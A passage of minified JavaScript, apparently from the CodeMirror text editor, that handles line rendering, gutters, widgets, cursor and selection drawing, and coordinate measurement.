n==o?t:Je(o)}function Vt(e,t){if(t>e.lastLine())return t;var n,o=Ke(e,t);if(!Ht(e,o))return t;for(;n=Ft(o);)o=n.find(1,!0).line;return Je(o)+1}function Ht(e,t){var n=Ct&&t.markedSpans;if(n)for(var o=void 0,r=0;r<n.length;++r)if((o=n[r]).marker.collapsed){if(null==o.from)return!0;if(!o.marker.widgetNode&&0==o.from&&o.marker.inclusiveLeft&&Gt(e,t,o))return!0}}function Gt(e,t,n){if(null==n.to){var o=n.marker.find(1,!0);return Gt(e,o.line,Ot(o.line.markedSpans,n.marker))}if(n.marker.inclusiveRight&&n.to==t.text.length)return!0;for(var r=void 0,i=0;i<t.markedSpans.length;++i)if((r=t.markedSpans[i]).marker.collapsed&&!r.marker.widgetNode&&r.from==n.to&&(null==r.to||r.to!=n.from)&&(r.marker.inclusiveLeft||n.marker.inclusiveRight)&&Gt(e,t,r))return!0}function Ut(e){e=Bt(e);for(var t=0,n=e.parent,o=0;o<n.lines.length;++o){var r=n.lines[o];if(r==e)break;t+=r.height}for(var i=n.parent;i;i=(n=i).parent)for(var a=0;a<i.children.length;++a){var s=i.children[a];if(s==n)break;t+=s.height}return t}function zt(e){if(0==e.height)return 0;for(var t,n=e.text.length,o=e;t=At(o);){var r=t.find(0,!0);o=r.from.line,n+=r.from.ch-r.to.ch}for(o=e;t=Ft(o);){var i=t.find(0,!0);n-=o.text.length-i.from.ch,o=i.to.line,n+=o.text.length-i.to.ch}return n}function qt(e){var t=e.display,n=e.doc;t.maxLine=Ke(n,n.first),t.maxLineLength=zt(t.maxLine),t.maxLineChanged=!0,n.iter(function(e){var n=zt(e);n>t.maxLineLength&&(t.maxLineLength=n,t.maxLine=e)})}var Kt=function(e,t,n){this.text=e,Pt(this,t),this.height=n?n(this):1};function $t(e){e.parent=null,xt(e)}Kt.prototype.lineNo=function(){return Je(this)},_e(Kt);var Xt={},Yt={};function Jt(e,t){if(!e||/^\s*$/.test(e))return null;var n=t.addModeClass?Yt:Xt;return n[e]||(n[e]=e.replace(/\S+/g,"cm-$&"))}function Qt(e,t){var n=j("span",null,null,u?"padding-right: .1px":null),o={pre:j("pre",[n],"CodeMirror-line"),content:n,col:0,pos:0,cm:e,trailingSpace:!1,splitSpaces:e.getOption("lineWrapping")};t.measure={};for(var r=0;r<=(t.rest?t.rest.length:0);r++){var i=r?t.rest[r-1]:t.line,a=void 0;o.pos=0,o.addToken=en,je(e.display.measure)&&(a=de(i,e.doc.direction))&&(o.addToken=tn(o.addToken,a)),o.map=[];var s=t!=e.display.externalMeasured&&Je(i);on(i,o,ft(e,i,s)),i.styleClasses&&(i.styleClasses.bgClass&&(o.bgClass=A(i.styleClasses.bgClass,o.bgClass||"")),i.styleClasses.textClass&&(o.textClass=A(i.styleClasses.textClass,o.textClass||""))),0==o.map.length&&o.map.push(0,0,o.content.appendChild(Pe(e.display.measure))),0==r?(t.measure.map=o.map,t.measure.cache={}):((t.measure.maps||(t.measure.maps=[])).push(o.map),(t.measure.caches||(t.measure.caches=[])).push({}))}if(u){var l=o.content.lastChild;(/\bcm-tab\b/.test(l.className)||l.querySelector&&l.querySelector(".cm-tab"))&&(o.content.className="cm-tab-wrap-hack")}return ge(e,"renderLine",e,t.line,o.pre),o.pre.className&&(o.textClass=A(o.pre.className,o.textClass||"")),o}function Zt(e){var t=P("span","\u2022","cm-invalidchar");return t.title="\\u"+e.charCodeAt(0).toString(16),t.setAttribute("aria-label",t.title),t}function en(t,n,o,r,i,a,u){if(n){var c,d=t.splitSpaces?function(e,t){if(e.length>1&&!/ /.test(e))return e;for(var n=t,o="",r=0;r<e.length;r++){var i=e.charAt(r);" "!=i||!n||r!=e.length-1&&32!=e.charCodeAt(r+1)||(i="\xa0"),o+=i,n=" "==i}return o}(n,t.trailingSpace):n,p=t.cm.state.specialChars,f=!1;if(p.test(n)){c=e.createDocumentFragment();for(var h=0;;){p.lastIndex=h;var m=p.exec(n),g=m?m.index-h:n.length-h;if(g){var v=e.createTextNode(d.slice(h,h+g));s&&l<9?c.appendChild(P("span",[v])):c.appendChild(v),t.map.push(t.pos,t.pos+g,v),t.col+=g,t.pos+=g}if(!m)break;h+=g+1;var b=void 0;if("\t"==m[0]){var y=t.cm.options.tabSize,_=y-t.col%y;(b=c.appendChild(P("span",X(_),"cm-tab"))).setAttribute("role","presentation"),b.setAttribute("cm-text","\t"),t.col+=_}else"\r"==m[0]||"\n"==m[0]?((b=c.appendChild(P("span","\r"==m[0]?"\u240d":"\u2424","cm-invalidchar"))).setAttribute("cm-text",m[0]),t.col+=1):((b=t.cm.options.specialCharPlaceholder(m[0])).setAttribute("cm-text",m[0]),s&&l<9?c.appendChild(P("span",[b])):c.appendChild(b),t.col+=1);t.map.push(t.pos,t.pos+1,b),t.pos++}}else t.col+=n.length,c=e.createTextNode(d),t.map.push(t.pos,t.pos+n.length,c),s&&l<9&&(f=!0),t.pos+=n.length;if(t.trailingSpace=32==d.charCodeAt(n.length-1),o||r||i||f||a||u){var k=o||"";r&&(k+=r),i&&(k+=i);var w=P("span",[c],k,a);if(u)for(var C in u)u.hasOwnProperty(C)&&"style"!=C&&"class"!=C&&w.setAttribute(C,u[C]);return t.content.appendChild(w)}t.content.appendChild(c)}}function tn(e,t){return function(n,o,r,i,a,s,l){r=r?r+" cm-force-border":"cm-force-border";for(var u=n.pos,c=u+o.length;;){for(var d=void 0,p=0;p<t.length&&!((d=t[p]).to>u&&d.from<=u);p++);if(d.to>=c)return e(n,o,r,i,a,s,l);e(n,o.slice(0,d.to-u),r,i,null,s,l),i=null,o=o.slice(d.to-u),u=d.to}}}function nn(t,n,o,r){var i=!r&&o.widgetNode;i&&t.map.push(t.pos,t.pos+n,i),!r&&t.cm.display.input.needsContentAttribute&&(i||(i=t.content.appendChild(e.createElement("span"))),i.setAttribute("cm-marker",o.id)),i&&(t.cm.display.input.setUneditable(i),t.content.appendChild(i)),t.pos+=n,t.trailingSpace=!1}function on(e,t,n){var o=e.markedSpans,r=e.text,i=0;if(o)for(var a,s,l,u,c,d,p,f=r.length,h=0,m=1,g="",v=0;;){if(v==h){l=u=c=s="",p=null,d=null,v=1/0;for(var b=[],y=void 0,_=0;_<o.length;++_){var k=o[_],w=k.marker;if("bookmark"==w.type&&k.from==h&&w.widgetNode)b.push(w);else if(k.from<=h&&(null==k.to||k.to>h||w.collapsed&&k.to==h&&k.from==h)){if(null!=k.to&&k.to!=h&&v>k.to&&(v=k.to,u=""),w.className&&(l+=" "+w.className),w.css&&(s=(s?s+";":"")+w.css),w.startStyle&&k.from==h&&(c+=" "+w.startStyle),w.endStyle&&k.to==v&&(y||(y=[])).push(w.endStyle,k.to),w.title&&((p||(p={})).title=w.title),w.attributes)for(var C in w.attributes)(p||(p={}))[C]=w.attributes[C];w.collapsed&&(!d||Nt(d.marker,w)<0)&&(d=k)}else k.from>h&&v>k.from&&(v=k.from)}if(y)for(var E=0;E<y.length;E+=2)y[E+1]==v&&(u+=" "+y[E]);if(!d||d.from==h)for(var O=0;O<b.length;++O)nn(t,0,b[O]);if(d&&(d.from||0)==h){if(nn(t,(null==d.to?f+1:d.to)-h,d.marker,null==d.from),null==d.to)return;d.to==h&&(d=!1)}}if(h>=f)break;for(var S=Math.min(f,v);;){if(g){var T=h+g.length;if(!d){var M=T>S?g.slice(0,S-h):g;t.addToken(t,M,a?a+l:l,c,h+M.length==v?u:"",s,p)}if(T>=S){g=g.slice(S-h),h=S;break}h=T,c=""}g=r.slice(i,i=n[m++]),a=Jt(n[m++],t.cm.options)}}else for(var x=1;x<n.length;x+=2)t.addToken(t,r.slice(i,i=n[x]),Jt(n[x+1],t.cm.options))}function rn(e,t,n){this.line=t,this.rest=function(e){for(var t,n;t=Ft(e);)e=t.find(1,!0).line,(n||(n=[])).push(e);return n}(t),this.size=this.rest?Je(Y(this.rest))-n+1:1,this.node=this.text=null,this.hidden=Ht(e,t)}function an(e,t,n){for(var o,r=[],i=t;i<n;i=o){var a=new rn(e.doc,Ke(e.doc,i),i);o=i+a.size,r.push(a)}return r}var sn=null,ln=null;function un(e,t){var n=he(e,t);if(n.length){var o,r=Array.prototype.slice.call(arguments,2);sn?o=sn.delayedCallbacks:ln?o=ln:(o=ln=[],setTimeout(cn,0));for(var i=function(e){o.push(function(){return n[e].apply(null,r)})},a=0;a<n.length;++a)i(a)}}function cn(){var e=ln;ln=null;for(var t=0;t<e.length;++t)e[t]()}function dn(e,t,n,o){for(var r=0;r<t.changes.length;r++){var i=t.changes[r];"text"==i?hn(e,t):"gutter"==i?gn(e,t,n,o):"class"==i?mn(e,t):"widget"==i&&vn(e,t,o)}t.changes=null}function pn(e){return e.node==e.text&&(e.node=P("div",null,null,"position: relative"),e.text.parentNode&&e.text.parentNode.replaceChild(e.node,e.text),e.node.appendChild(e.text),s&&l<8&&(e.node.style.zIndex=2)),e.node}function fn(e,t){var n=e.display.externalMeasured;return n&&n.line==t.line?(e.display.externalMeasured=null,t.measure=n.measure,n.built):Qt(e,t)}function hn(e,t){var n=t.text.className,o=fn(e,t);t.text==t.node&&(t.node=o.pre),t.text.parentNode.replaceChild(o.pre,t.text),t.text=o.pre,o.bgClass!=t.bgClass||o.textClass!=t.textClass?(t.bgClass=o.bgClass,t.textClass=o.textClass,mn(e,t)):n&&(t.text.className=n)}function mn(e,t){!function(e,t){var n=t.bgClass?t.bgClass+" "+(t.line.bgClass||""):t.line.bgClass;if(n&&(n+=" CodeMirror-linebackground"),t.background)n?t.background.className=n:(t.background.parentNode.removeChild(t.background),t.background=null);else if(n){var o=pn(t);t.background=o.insertBefore(P("div",null,n),o.firstChild),e.display.input.setUneditable(t.background)}}(e,t),t.line.wrapClass?pn(t).className=t.line.wrapClass:t.node!=t.text&&(t.node.className="");var n=t.textClass?t.textClass+" "+(t.line.textClass||""):t.line.textClass;t.text.className=n||""}function gn(e,t,n,o){if(t.gutter&&(t.node.removeChild(t.gutter),t.gutter=null),t.gutterBackground&&(t.node.removeChild(t.gutterBackground),t.gutterBackground=null),t.line.gutterClass){var r=pn(t);t.gutterBackground=P("div",null,"CodeMirror-gutter-background "+t.line.gutterClass,"left: "+(e.options.fixedGutter?o.fixedPos:-o.gutterTotalWidth)+"px; width: "+o.gutterTotalWidth+"px"),e.display.input.setUneditable(t.gutterBackground),r.insertBefore(t.gutterBackground,t.text)}var i=t.line.gutterMarkers;if(e.options.lineNumbers||i){var a=pn(t),s=t.gutter=P("div",null,"CodeMirror-gutter-wrapper","left: "+(e.options.fixedGutter?o.fixedPos:-o.gutterTotalWidth)+"px");if(e.display.input.setUneditable(s),a.insertBefore(s,t.text),t.line.gutterClass&&(s.className+=" "+t.line.gutterClass),!e.options.lineNumbers||i&&i["CodeMirror-linenumbers"]||(t.lineNumber=s.appendChild(P("div",et(e.options,n),"CodeMirror-linenumber CodeMirror-gutter-elt","left: "+o.gutterLeft["CodeMirror-linenumbers"]+"px; width: "+e.display.lineNumInnerWidth+"px"))),i)for(var l=0;l<e.display.gutterSpecs.length;++l){var u=e.display.gutterSpecs[l].className,c=i.hasOwnProperty(u)&&i[u];c&&s.appendChild(P("div",[c],"CodeMirror-gutter-elt","left: "+o.gutterLeft[u]+"px; width: "+o.gutterWidth[u]+"px"))}}}function vn(e,t,n){t.alignable&&(t.alignable=null);for(var o=O("CodeMirror-linewidget"),r=t.node.firstChild,i=void 0;r;r=i)i=r.nextSibling,o.test(r.className)&&t.node.removeChild(r);yn(e,t,n)}function bn(e,t,n,o){var r=fn(e,t);return t.text=t.node=r.pre,r.bgClass&&(t.bgClass=r.bgClass),r.textClass&&(t.textClass=r.textClass),mn(e,t),gn(e,t,n,o),yn(e,t,o),t.node}function yn(e,t,n){if(_n(e,t.line,t,n,!0),t.rest)for(var o=0;o<t.rest.length;o++)_n(e,t.rest[o],t,n,!1)}function _n(e,t,n,o,r){if(t.widgets)for(var i=pn(n),a=0,s=t.widgets;a<s.length;++a){var l=s[a],u=P("div",[l.node],"CodeMirror-linewidget"+(l.className?" "+l.className:""));l.handleMouseEvents||u.setAttribute("cm-ignore-events","true"),kn(l,u,n,o),e.display.input.setUneditable(u),r&&l.above?i.insertBefore(u,n.gutter||n.text):i.appendChild(u),un(l,"redraw")}}function kn(e,t,n,o){if(e.noHScroll){(n.alignable||(n.alignable=[])).push(t);var r=o.wrapperWidth;t.style.left=o.fixedPos+"px",e.coverGutter||(r-=o.gutterTotalWidth,t.style.paddingLeft=o.gutterTotalWidth+"px"),t.style.width=r+"px"}e.coverGutter&&(t.style.zIndex=5,t.style.position="relative",e.noHScroll||(t.style.marginLeft=-o.gutterTotalWidth+"px"))}function wn(t){if(null!=t.height)return t.height;var n=t.doc.cm;if(!n)return 0;if(!L(e.body,t.node)){var o="position: relative;";t.coverGutter&&(o+="margin-left: -"+n.display.gutters.offsetWidth+"px;"),t.noHScroll&&(o+="width: "+n.display.wrapper.clientWidth+"px;"),x(n.display.measure,P("div",[t.node],null,o))}return t.height=t.node.parentNode.offsetHeight}function Cn(e,t){for(var n=Oe(t);n!=e.wrapper;n=n.parentNode)if(!n||1==n.nodeType&&"true"==n.getAttribute("cm-ignore-events")||n.parentNode==e.sizer&&n!=e.mover)return!0}function En(e){return e.lineSpace.offsetTop}function On(e){return e.mover.offsetHeight-e.lineSpace.offsetHeight}function Sn(e){if(e.cachedPaddingH)return e.cachedPaddingH;var t=x(e.measure,P("pre","x","CodeMirror-line-like")),n=window.getComputedStyle?window.getComputedStyle(t):t.currentStyle,o={left:parseInt(n.paddingLeft),right:parseInt(n.paddingRight)};return isNaN(o.left)||isNaN(o.right)||(e.cachedPaddingH=o),o}function Tn(e){return H-e.display.nativeBarWidth}function Mn(e){return e.display.scroller.clientWidth-Tn(e)-e.display.barWidth}function xn(e){return e.display.scroller.clientHeight-Tn(e)-e.display.barHeight}function Pn(e,t,n){if(e.line==t)return{map:e.measure.map,cache:e.measure.cache};for(var o=0;o<e.rest.length;o++)if(e.rest[o]==t)return{map:e.measure.maps[o],cache:e.measure.caches[o]};for(var r=0;r<e.rest.length;r++)if(Je(e.rest[r])>n)return{map:e.measure.maps[r],cache:e.measure.caches[r],before:!0}}function jn(e,t,n,o){return Dn(e,Nn(e,t),n,o)}function Ln(e,t){if(t>=e.display.viewFrom&&t<e.display.viewTo)return e.display.view[uo(e,t)];var n=e.display.externalMeasured;return n&&t>=n.lineN&&t<n.lineN+n.size?n:void 0}function Nn(e,t){var n=Je(t),o=Ln(e,n);o&&!o.text?o=null:o&&o.changes&&(dn(e,o,n,ro(e)),e.curOp.forceUpdate=!0),o||(o=function(e,t){var n=Je(t=Bt(t)),o=e.display.externalMeasured=new rn(e.doc,t,n);o.lineN=n;var r=o.built=Qt(e,o);return o.text=r.pre,x(e.display.lineMeasure,r.pre),o}(e,t));var r=Pn(o,t,n);return{line:t,view:o,rect:null,map:r.map,cache:r.cache,before:r.before,hasHeights:!1}}function Dn(e,t,n,o,r){t.before&&(n=-1);var i,a=n+(o||"");return t.cache.hasOwnProperty(a)?i=t.cache[a]:(t.rect||(t.rect=t.view.text.getBoundingClientRect()),t.hasHeights||(function(e,t,n){var o=e.options.lineWrapping,r=o&&Mn(e);if(!t.measure.heights||o&&t.measure.width!=r){var i=t.measure.heights=[];if(o){t.measure.width=r;for(var a=t.text.firstChild.getClientRects(),s=0;s<a.length-1;s++){var l=a[s],u=a[s+1];Math.abs(l.bottom-u.bottom)>2&&i.push((l.bottom+u.top)/2-n.top)}}i.push(n.bottom-n.top)}}(e,t.view,t.rect),t.hasHeights=!0),(i=function(e,t,n,o){var r,i=In(t.map,n,o),a=i.node,u=i.start,c=i.end,d=i.collapse;if(3==a.nodeType){for(var p=0;p<4;p++){for(;u&&ie(t.line.text.charAt(i.coverStart+u));)--u;for(;i.coverStart+c<i.coverEnd&&ie(t.line.text.charAt(i.coverStart+c));)++c;if((r=s&&l<9&&0==u&&c==i.coverEnd-i.coverStart?a.parentNode.getBoundingClientRect():Rn(S(a,u,c).getClientRects(),o)).left||r.right||0==u)break;c=u,u-=1,d="right"}s&&l<11&&(r=function(e,t){if(!window.screen||null==screen.logicalXDPI||screen.logicalXDPI==screen.deviceXDPI||!function(e){if(null!=Fe)return Fe;var t=x(e,P("span","x")),n=t.getBoundingClientRect(),o=S(t,0,1).getBoundingClientRect();return Fe=Math.abs(n.left-o.left)>1}(e))return t;var n=screen.logicalXDPI/screen.deviceXDPI,o=screen.logicalYDPI/screen.deviceYDPI;return{left:t.left*n,right:t.right*n,top:t.top*o,bottom:t.bottom*o}}(e.display.measure,r))}else{var f;u>0&&(d=o="right"),r=e.options.lineWrapping&&(f=a.getClientRects()).length>1?f["right"==o?f.length-1:0]:a.getBoundingClientRect()}if(s&&l<9&&!u&&(!r||!r.left&&!r.right)){var h=a.parentNode.getClientRects()[0];r=h?{left:h.left,right:h.left+oo(e.display),top:h.top,bottom:h.bottom}:Fn}for(var m=r.top-t.rect.top,g=r.bottom-t.rect.top,v=(m+g)/2,b=t.view.measure.heights,y=0;y<b.length-1&&!(v<b[y]);y++);var _=y?b[y-1]:0,k=b[y],w={left:("right"==d?r.right:r.left)-t.rect.left,right:("left"==d?r.left:r.right)-t.rect.left,top:_,bottom:k};return r.left||r.right||(w.bogus=!0),e.options.singleCursorHeightPerLine||(w.rtop=m,w.rbottom=g),w}(e,t,n,o)).bogus||(t.cache[a]=i)),{left:i.left,right:i.right,top:r?i.rtop:i.top,bottom:r?i.rbottom:i.bottom}}var An,Fn={left:0,right:0,top:0,bottom:0};function In(e,t,n){for(var o,r,i,a,s,l,u=0;u<e.length;u+=3)if(s=e[u],l=e[u+1],t<s?(r=0,i=1,a="left"):t<l?i=1+(r=t-s):(u==e.length-3||t==l&&e[u+3]>t)&&(r=(i=l-s)-1,t>=l&&(a="right")),null!=r){if(o=e[u+2],s==l&&n==(o.insertLeft?"left":"right")&&(a=n),"left"==n&&0==r)for(;u&&e[u-2]==e[u-3]&&e[u-1].insertLeft;)o=e[2+(u-=3)],a="left";if("right"==n&&r==l-s)for(;u<e.length-3&&e[u+3]==e[u+4]&&!e[u+5].insertLeft;)o=e[(u+=3)+2],a="right";break}return{node:o,start:r,end:i,collapse:a,coverStart:s,coverEnd:l}}function Rn(e,t){var n=Fn;if("left"==t)for(var o=0;o<e.length&&(n=e[o]).left==n.right;o++);else for(var r=e.length-1;r>=0&&(n=e[r]).left==n.right;r--);return n}function Bn(e){if(e.measure&&(e.measure.cache={},e.measure.heights=null,e.rest))for(var t=0;t<e.rest.length;t++)e.measure.caches[t]={}}function Wn(e){e.display.externalMeasure=null,M(e.display.lineMeasure);for(var t=0;t<e.display.view.length;t++)Bn(e.display.view[t])}function Vn(e){Wn(e),e.display.cachedCharWidth=e.display.cachedTextHeight=e.display.cachedPaddingH=null,e.options.lineWrapping||(e.display.maxLineChanged=!0),e.display.lineNumChars=null}function Hn(){return d&&v?-(e.body.getBoundingClientRect().left-parseInt(getComputedStyle(e.body).marginLeft)):window.pageXOffset||(e.documentElement||e.body).scrollLeft}function Gn(){return d&&v?-(e.body.getBoundingClientRect().top-parseInt(getComputedStyle(e.body).marginTop)):window.pageYOffset||(e.documentElement||e.body).scrollTop}function Un(e){var t=0;if(e.widgets)for(var n=0;n<e.widgets.length;++n)e.widgets[n].above&&(t+=wn(e.widgets[n]));return t}function zn(e,t,n,o,r){if(!r){var i=Un(t);n.top+=i,n.bottom+=i}if("line"==o)return n;o||(o="local");var a=Ut(t);if("local"==o?a+=En(e.display):a-=e.display.viewOffset,"page"==o||"window"==o){var s=e.display.lineSpace.getBoundingClientRect();a+=s.top+("window"==o?0:Gn());var l=s.left+("window"==o?0:Hn());n.left+=l,n.right+=l}return n.top+=a,n.bottom+=a,n}function qn(e,t,n){if("div"==n)return t;var o=t.left,r=t.top;if("page"==n)o-=Hn(),r-=Gn();else if("local"==n||!n){var i=e.display.sizer.getBoundingClientRect();o+=i.left,r+=i.top}var a=e.display.lineSpace.getBoundingClientRect();return{left:o-a.left,top:r-a.top}}function Kn(e,t,n,o,r){return o||(o=Ke(e.doc,t.line)),zn(e,o,jn(e,o,t.ch,r),n)}function $n(e,t,n,o,r,i){function a(t,a){var s=Dn(e,r,t,a?"right":"left",i);return a?s.left=s.right:s.right=s.left,zn(e,o,s,n)}o=o||Ke(e.doc,t.line),r||(r=Nn(e,o));var s=de(o,e.doc.direction),l=t.ch,u=t.sticky;if(l>=o.text.length?(l=o.text.length,u="before"):l<=0&&(l=0,u="after"),!s)return a("before"==u?l-1:l,"before"==u);function c(e,t,n){var o=s[t],r=1==o.level;return a(n?e-1:e,r!=n)}var d=ue(s,l,u),p=le,f=c(l,d,"before"==u);return null!=p&&(f.other=c(l,p,"before"!=u)),f}function Xn(e,t){var n=0;t=lt(e.doc,t),e.options.lineWrapping||(n=oo(e.display)*t.ch);var o=Ke(e.doc,t.line),r=Ut(o)+En(e.display);return{left:n,right:n,top:r,bottom:r+o.height}}function Yn(e,t,n,o,r){var i=tt(e,t,n);return i.xRel=r,o&&(i.outside=o),i}function Jn(e,t,n){var o=e.doc;if((n+=e.display.viewOffset)<0)return Yn(o.first,0,null,-1,-1);var r=Qe(o,n),i=o.first+o.size-1;if(r>i)return Yn(o.first+o.size-1,Ke(o,i).text.length,null,1,1);t<0&&(t=0);for(var a=Ke(o,r);;){var s=to(e,a,r,t,n),l=It(a,s.ch+(s.xRel>0||s.outside>0?1:0));if(!l)return s;var u=l.find(1);if(u.line==r)return u;a=Ke(o,r=u.line)}}function Qn(e,t,n,o){o-=Un(t);var r=t.text.length,i=se(function(t){return Dn(e,n,t-1).bottom<=o},r,0);return r=se(function(t){return Dn(e,n,t).top>o},i,r),{begin:i,end:r}}function Zn(e,t,n,o){n||(n=Nn(e,t));var r=zn(e,t,Dn(e,n,o),"line").top;return Qn(e,t,n,r)}function eo(e,t,n,o){return!(e.bottom<=n)&&(e.top>n||(o?e.left:e.right)>t)}function to(e,t,n,o,r){r-=Ut(t);var i=Nn(e,t),a=Un(t),s=0,l=t.text.length,u=!0,c=de(t,e.doc.direction);if(c){var d=(e.options.lineWrapping?function(e,t,n,o,r,i,a){var s=Qn(e,t,o,a),l=s.begin,u=s.end;/\s/.test(t.text.charAt(u-1))&&u--;for(var c=null,d=null,p=0;p<r.length;p++){var f=r[p];if(!(f.from>=u||f.to<=l)){var h=1!=f.level,m=Dn(e,o,h?Math.min(u,f.to)-1:Math.max(l,f.from)).right,g=m<i?i-m+1e9:m-i;(!c||d>g)&&(c=f,d=g)}}return c||(c=r[r.length-1]),c.from<l&&(c={from:l,to:c.to,level:c.level}),c.to>u&&(c={from:c.from,to:u,level:c.level}),c}:function(e,t,n,o,r,i,a){var s=se(function(s){var l=r[s],u=1!=l.level;return eo($n(e,tt(n,u?l.to:l.from,u?"before":"after"),"line",t,o),i,a,!0)},0,r.length-1),l=r[s];if(s>0){var u=1!=l.level,c=$n(e,tt(n,u?l.from:l.to,u?"after":"before"),"line",t,o);eo(c,i,a,!0)&&c.top>a&&(l=r[s-1])}return l})(e,t,n,i,c,o,r);u=1!=d.level,s=u?d.from:d.to-1,l=u?d.to:d.from-1}var p,f,h=null,m=null,g=se(function(t){var n=Dn(e,i,t);return n.top+=a,n.bottom+=a,!!eo(n,o,r,!1)&&(n.top<=r&&n.left<=o&&(h=t,m=n),!0)},s,l),v=!1;if(m){var b=o-m.left<m.right-o,y=b==u;g=h+(y?0:1),f=y?"after":"before",p=b?m.left:m.right}else{u||g!=l&&g!=s||g++,f=0==g?"after":g==t.text.length?"before":Dn(e,i,g-(u?1:0)).bottom+a<=r==u?"after":"before";var _=$n(e,tt(n,g,f),"line",t,i);p=_.left,v=r<_.top?-1:r>=_.bottom?1:0}return g=ae(t.text,g,1),Yn(n,g,f,v,o-p)}function no(t){if(null!=t.cachedTextHeight)return t.cachedTextHeight;if(null==An){An=P("pre",null,"CodeMirror-line-like");for(var n=0;n<49;++n)An.appendChild(e.createTextNode("x")),An.appendChild(P("br"));An.appendChild(e.createTextNode("x"))}x(t.measure,An);var o=An.offsetHeight/50;return o>3&&(t.cachedTextHeight=o),M(t.measure),o||1}function oo(e){if(null!=e.cachedCharWidth)return e.cachedCharWidth;var t=P("span","xxxxxxxxxx"),n=P("pre",[t],"CodeMirror-line-like");x(e.measure,n);var o=t.getBoundingClientRect(),r=(o.right-o.left)/10;return r>2&&(e.cachedCharWidth=r),r||10}function ro(e){for(var t=e.display,n={},o={},r=t.gutters.clientLeft,i=t.gutters.firstChild,a=0;i;i=i.nextSibling,++a){var s=e.display.gutterSpecs[a].className;n[s]=i.offsetLeft+i.clientLeft+r,o[s]=i.clientWidth}return{fixedPos:io(t),gutterTotalWidth:t.gutters.offsetWidth,gutterLeft:n,gutterWidth:o,wrapperWidth:t.wrapper.clientWidth}}function io(e){return e.scroller.getBoundingClientRect().left-e.sizer.getBoundingClientRect().left}function ao(e){var t=no(e.display),n=e.options.lineWrapping,o=n&&Math.max(5,e.display.scroller.clientWidth/oo(e.display)-3);return function(r){if(Ht(e.doc,r))return 0;var i=0;if(r.widgets)for(var a=0;a<r.widgets.length;a++)r.widgets[a].height&&(i+=r.widgets[a].height);return n?i+(Math.ceil(r.text.length/o)||1)*t:i+t}}function so(e){var t=e.doc,n=ao(e);t.iter(function(e){var t=n(e);t!=e.height&&Ye(e,t)})}function lo(e,t,n,o){var r=e.display;if(!n&&"true"==Oe(t).getAttribute("cm-not-content"))return null;var i,a,s=r.lineSpace.getBoundingClientRect();try{i=t.clientX-s.left,a=t.clientY-s.top}catch(e){return null}var l,u=Jn(e,i,a);if(o&&u.xRel>0&&(l=Ke(e.doc,u.line).text).length==u.ch){var c=B(l,l.length,e.options.tabSize)-l.length;u=tt(u.line,Math.max(0,Math.round((i-Sn(e.display).left)/oo(e.display))-c))}return u}function uo(e,t){if(t>=e.display.viewTo)return null;if((t-=e.display.viewFrom)<0)return null;for(var n=e.display.view,o=0;o<n.length;o++)if((t-=n[o].size)<0)return o}function co(e,t,n,o){null==t&&(t=e.doc.first),null==n&&(n=e.doc.first+e.doc.size),o||(o=0);var r=e.display;if(o&&n<r.viewTo&&(null==r.updateLineNumbers||r.updateLineNumbers>t)&&(r.updateLineNumbers=t),e.curOp.viewChanged=!0,t>=r.viewTo)Ct&&Wt(e.doc,t)<r.viewTo&&fo(e);else if(n<=r.viewFrom)Ct&&Vt(e.doc,n+o)>r.viewFrom?fo(e):(r.viewFrom+=o,r.viewTo+=o);else if(t<=r.viewFrom&&n>=r.viewTo)fo(e);else if(t<=r.viewFrom){var i=ho(e,n,n+o,1);i?(r.view=r.view.slice(i.index),r.viewFrom=i.lineN,r.viewTo+=o):fo(e)}else if(n>=r.viewTo){var a=ho(e,t,t,-1);a?(r.view=r.view.slice(0,a.index),r.viewTo=a.lineN):fo(e)}else{var s=ho(e,t,t,-1),l=ho(e,n,n+o,1);s&&l?(r.view=r.view.slice(0,s.index).concat(an(e,s.lineN,l.lineN)).concat(r.view.slice(l.index)),r.viewTo+=o):fo(e)}var u=r.externalMeasured;u&&(n<u.lineN?u.lineN+=o:t<u.lineN+u.size&&(r.externalMeasured=null))}function po(e,t,n){e.curOp.viewChanged=!0;var o=e.display,r=e.display.externalMeasured;if(r&&t>=r.lineN&&t<r.lineN+r.size&&(o.externalMeasured=null),!(t<o.viewFrom||t>=o.viewTo)){var i=o.view[uo(e,t)];if(null!=i.node){var a=i.changes||(i.changes=[]);-1==V(a,n)&&a.push(n)}}}function fo(e){e.display.viewFrom=e.display.viewTo=e.doc.first,e.display.view=[],e.display.viewOffset=0}function ho(e,t,n,o){var r,i=uo(e,t),a=e.display.view;if(!Ct||n==e.doc.first+e.doc.size)return{index:i,lineN:n};for(var s=e.display.viewFrom,l=0;l<i;l++)s+=a[l].size;if(s!=t){if(o>0){if(i==a.length-1)return null;r=s+a[i].size-t,i++}else r=s-t;t+=r,n+=r}for(;Wt(e.doc,n)!=n;){if(i==(o<0?0:a.length-1))return null;n+=o*a[i-(o<0?1:0)].size,i+=o}return{index:i,lineN:n}}function mo(e){for(var t=e.display.view,n=0,o=0;o<t.length;o++){var r=t[o];r.hidden||r.node&&!r.changes||++n}return n}function go(e){e.display.input.showSelection(e.display.input.prepareSelection())}function vo(t,n){void 0===n&&(n=!0);for(var o=t.doc,r={},i=r.cursors=e.createDocumentFragment(),a=r.selection=e.createDocumentFragment(),s=0;s<o.sel.ranges.length;s++)if(n||s!=o.sel.primIndex){var l=o.sel.ranges[s];if(!(l.from().line>=t.display.viewTo||l.to().line<t.display.viewFrom)){var u=l.empty();(u||t.options.showCursorWhenSelecting)&&bo(t,l.head,i),u||_o(t,l,a)}}return r}function bo(e,t,n){var o=$n(e,t,"div",null,null,!e.options.singleCursorHeightPerLine),r=n.appendChild(P("div","\xa0","CodeMirror-cursor"));if(r.style.left=o.left+"px",r.style.top=o.top+"px",r.style.height=Math.max(0,o.bottom-o.top)*e.options.cursorHeight+"px",o.other){var i=n.appendChild(P("div","\xa0","CodeMirror-cursor CodeMirror-secondarycursor"));i.style.display="",i.style.left=o.other.left+"px",i.style.top=o.other.top+"px",i.style.height=.85*(o.other.bottom-o.other.top)+"px"}}function yo(e,t){return e.top-t.top||e.left-t.left}function _o(t,n,o){var r=t.display,i=t.doc,a=e.createDocumentFragment(),s=Sn(t.display),l=s.left,u=Math.max(r.sizerWidth,Mn(t)-r.sizer.offsetLeft)-s.right,c="ltr"==i.direction;function d(e,t,n,o){t<0&&(t=0),t=Math.round(t),o=Math.round(o),a.appendChild(P("div",null,"CodeMirror-selected","position: absolute; left: "+e+"px;\n top: "+t+"px; width: "+(null==n?u-e:n)+"px;\n height: "+(o-t)+"px"))}function p(e,n,o){var r,a,s=Ke(i,e),p=s.text.length;function f(n,o){return 